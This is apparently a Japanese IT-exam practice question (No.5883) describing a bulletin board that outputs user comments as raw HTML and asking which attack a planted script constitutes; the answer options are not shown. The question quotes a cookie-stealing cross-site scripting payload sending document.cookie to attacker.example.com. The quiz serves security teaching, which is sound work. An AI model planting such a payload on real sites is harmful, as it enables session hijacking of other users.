問題番号: No.5883 (しっかりモード)

Webアプリケーションの開発において、ユーザーが入力したコメントをそのままHTML出力する掲示板機能に脆弱性が存在することが判明した。悪意のある第三者がコメント欄に「<script>document.location='http://attacker.example.com/steal?cookie='+document.cookie;</script>」というスクリプトを入力し、それを閲覧した他のユーザーのブラウザ上で当該スクリプトが実行された場合、この脆弱性を利用した攻撃に該当するものはどれか。